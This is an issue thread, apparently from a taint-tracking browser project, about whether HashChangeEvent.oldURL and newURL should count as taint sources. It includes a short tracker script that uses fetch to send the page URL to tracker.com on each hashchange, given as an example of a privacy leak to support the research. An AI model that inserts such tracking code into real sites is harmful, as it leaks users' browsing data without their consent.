Missing sources: HashChangeEvent.oldURL and HashChangeEvent.newURL

[eleumasc]

On the hashchange event listener, the oldURL and newURL attributes of the HashChangeEvent object should be tainted, as a consequence of potentially setting a tainted value to location.hash, location.href, or others.

[leeN]

Hmmm, could you post some sample code on how this is used for an attack/privacy leak? I'm not quite sure I follow the issue here.

Or is the problem that oldURL (pointed to location hash which used to be tainted) and newURL (points to location.hash which is tainted) are generally untainted?

Could you provide a small test program? I'm unaware of said event, so a simple program highlighting its usage would be welcome. Even better would be a mochitest that showcases where we are losing taints as a PR ;) but an example would be required to look into it to better figure out what goes wrong here and what's the expected behavior.

[eleumasc]

Or is the problem that oldURL (pointed to location hash which used to be tainted) and newURL (points to location.hash which is tainted) are generally untainted?

That was my initial thought.

I could provide a simple example of a potential privacy violation. Suppose that a website includes a tracker with the following code:

<script>
  // tracker.js
  window.addEventListener("hashchange", (e) => {
    fetch(`https://tracker.com/?url=${encodeURIComponent(e.newURL)}`);
  });
</script>

In this example, the tracker may be able to track user movements through sections (elements with specific IDs) of a page.

However, I am not sure whether this example is realistic enough to justify the issue. I could do a quick research on that by monkey-patching those properties in order to taint their value using String.tainted(). Then, based on the outcome, we decide how to proceed with this issue.

[leeN]

Hmm, the question I have is, oldValue I see where the attacker control angle is coming from. If i change the hash (i assume programmatically), is this under attacker control?

I can have a look into the required effort to fix this, but I'm still not fully sure both are sources. Maybe I'm missing something as the Web is vast, heh.

Small note, you can pass a second parameter to String.tainted to manually determine a taint source. Not quite sure this is really documented in a visible way.

[leeN]

The fix should be comparatively easy; simply add the Source Marker functions to the event creation logic.

I.e., MarkTaintSource from nsTaintingUtils.h.

What I'm lacking is an idea of why and a) how the hash changes and b) who controls said change. If tainted data goes into the new hash, we should be able to track this, despite not having a dedicated source. Should that be a source if it is changed programmatically to a static value? I think one of the issues is that marking the old hash as a source is perfectly fine for the first time the event fires (i.e, the original hash), but for all subsequent hash changes, the old hash might not be attacker-controllable anymore? In general, I'd be grateful for 1-2 examples of code samples where the hash changes.

If this is something that is not attacker-controlled but useful for your research, we could consider marking it as a source but disabling it by default, if that's okay with @tmbrbr. I assume you use some form of browser automation, e.g., Playwright, where you can pass on Firefox preferences. Or you can monkey-patch it, as you said.

I'm aware that this is probably related to a paper you are working on, so I see why you can't give too many details. If you want to discuss this in a more private setting, feel free to write me an email. We're super happy to help, but I'm not quite getting the full picture here, which makes it difficult to implement the change.